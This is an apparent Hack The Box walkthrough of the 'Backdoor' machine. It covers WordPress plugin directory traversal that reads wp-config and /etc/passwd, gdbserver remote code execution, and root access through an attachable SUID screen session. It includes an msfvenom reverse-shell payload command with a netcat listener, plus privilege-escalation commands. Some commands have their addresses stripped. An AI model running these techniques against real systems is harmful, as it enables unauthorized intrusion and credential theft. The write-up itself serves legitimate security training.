CTF Challenges

Backdoor HackTheBox Walkthrough


Backdoor is a Linux machine and is considered an easy box the hack the box. On this box we will begin with a basic port scan and move laterally. Then we will enumerate the WordPress webpage.  Then we will do a vulnerability assessment and exploit directory traversal vulnerability. From the running process, we will be exploiting the GDB server and gain an initial foothold in the target system. Then we will be tasked to gain root access where we will exploit SUID is set to screen.

Table of Content

Initial Access

  • Nmap TCP Port Scan
  • Web Page Enumeration
  • Searching For the WordPress eBook Exploit
  • Directory Traversal Vulnerability Exploit
  • Enumerate Running process in the target system
  • Searching for the GDB Server Exploit
  • GDB Server RCE Exploitation
  • User Flag

Privilege Escalation

  • SUID-Screen Exploitation
  • Root Flag

Let’s exploit it step by step.

Initial Access

We are going to start the assessment with the normal TCP/IP port scanning.

Nmap TCP Port Scan

Let’s start with the port scan. We are using nmap to find out which ports are open and what services are running in the target host. Nmap is a popular port scanning tool comes with Kali Linux. To perform port scan, we have used –sV and -p- flag which performs a service version and full port scan against the target machine.

Flags features:

-sV:  Attempts to determine the service version

-p-:  Attempts to full port scan

nmap -p- -sV

From the nmap scan, we have found there were only three ports open, which is port 22,80 and port 1337. As usual HTTP service is running on port 80, SSH service is running on port 22 and we do not know about 1337 now. HTTP service is used for webhosting and the SSH service is used for remote connection. SSH version is latest, and we did not find any vulnerabilities on SSH version 8.2p1 and the possible attack we can perform against the SSH service at this stage is bruteforce only which we might not need to do. Instead of thinking about the SSH bruteforce let’s start enumerating port 80.

Web Page Enumeration

We begin with enumerating port 80 and access it over the browser shown on a WordPress site. Nothing looks interesting here in the web page, we saw a backdoor title of the machine name backdoor. The backdoor could be the domain name here.

Then we decided to check its plugin using default directories. A list of the default WordPress directories can be available here:

The default plugin directory path is:


We saw an ebook-download directory is present there. We can check if there are any public exploits available for the eBook WordPress plugin.

Searching For the WordPress eBook Exploit

We are using a kali inbuilt tool searchsploit to find out if any exploits are available in the public exploit database. From the searchsploit result, we found that WordPress eBook download has a directory traversal vulnerability. Then we downloaded the exploit to analyse how it works. We can download it using -m flag on searchsploit.  After analysing the exploit code, we found a vulnerable path parameter which is vulnerable to File inclusion.

searchsploit ebook wordpress
searchsploit -m 39575
cat 39575.txt

Directory Traversal Vulnerability Exploit

As we have the vulnerable parameter, now we are in a position to exploit it. We tried to exploit the WordPress configuration file (wp-config) which has sensitive information such as database credentials of the WordPress. As expected, we got the WordPress database username and password but it did not work with any available service.


Then we decided to list the users in the target system. It is available in the /etc/passwd file in Linux systems. We saw a user named user is available in the target system and we tried log in via SSH with the obtained password and again failed to gain access.

Many attempts of gaining a foothold in the target system failed. Then we decided to enumerate further. Then we created a bash script to find out what processes are running on the target system because sometimes third-party applications may have some vulnerabilities which could lead an attacker to gain access to the target system.

As we can see a GDB server is running on the target system. We can check whether we can find any vulnerabilities available for the GDB server. There are possibilities to have some other application installed which is also vulnerable to remote code execution.



We can also check the running process manually, below file can be used to check it. Just need to replace the file name with /proc/sched_debug on the vulnerable parameter.


Searching For the GDB Server Exploit

We are again using searchsploit to find out if there is any public exploit available for the GDB server which could help us to gain the initial foothold in the target system. From the searchsploit result, we found that gdbserver 9.2 is vulnerable to remote code execution, but we do not know its version yet. Sometimes it is hard to find out the version of the installed application and we must test each exploit as there is only one so it’s worth checking it. We downloaded the exploit to check how it works.

searchsploit -m 50539

GDB server RCE Exploitation

After downloading the exploit, we analysed the exploit code where we got its usage instructions. The exploit is indicating to create a msfvenom binary reverse shell and payload syntax is given in it. If we have a closer look, we can see that the exploit is indicating that the GDB port number to 1337 and we also found port 1337 is open in the target system.

Let’s create a reverse shell binary using msfvenom. In the payload, we have given attacker’s the IP address ( and listening port number (4444). Then we saved it as rev.bin.

msfvenom -p linux/x64/shell_reverse_tcp LHOST= LPORT=4444 PrependFork=true -o rev.bin

User flag

After creating reverse shell binary, we followed the instructions from the exploit. Before firing the exploit, we turned on the netcat listener on our kali system on port 4444. Then we provided the target Ip address and target port where GDB server is running on the target system and our reverse shell. To reproduce the POC then follow the commands given below:

python3 rev.bin

After firing the exploit against the target system, we successfully receive a reverse shell as user on port 4444. We can grab our user flag from the user home directory.

Privilege Escalation

Next, we need to escalate to root account from the low-privileged user account. We enumerated the target system and then decided to check SUID.

SUID-Screen Exploitation

Let’s list all the SUID binaries available in the target system. We saw a SUID screen appear in the results. It is like Tmux and if there is any screen session is running by the root then we can attach that session with a current user which will give us a root shell.

find / -perm -u=s -type f  2>/dev/null

What is screen in Linux?

screen command in Linux provides the ability to launch and use multiple shell sessions from a single ssh session. When a process is started with ‘screen’, the process can be detached from the session & then can reattach the session later.

To make our exploit work, we need to upgrade our current shell and attach the root screen session with our current user.

export TERM=xterm
screen -r root/root

Root Flag

After attaching a root screen session with the current user, we received a root shell spawned. Now we can grab our root flag from the root directory.


This machine was fun and was a great source of learning, where we learned and explored so many things such as TCP port scan, service enumeration, Directory Traversal vulnerability, process enumeration on the target system, Special permissions (SUID), SUID exploit to perform local privilege escalation.

Thank you for giving your precious time to read this walkthrough. I hope you have enjoyed and learned something new today. Happy Hacking!

Author: Subhash Paudel is a Penetration Tester and a CTF player who has a keen interest in various technologies and loves to explore more and more. Additionally, he is a technical writer at Hacking articles. Contact here: Linkedin and Twitter

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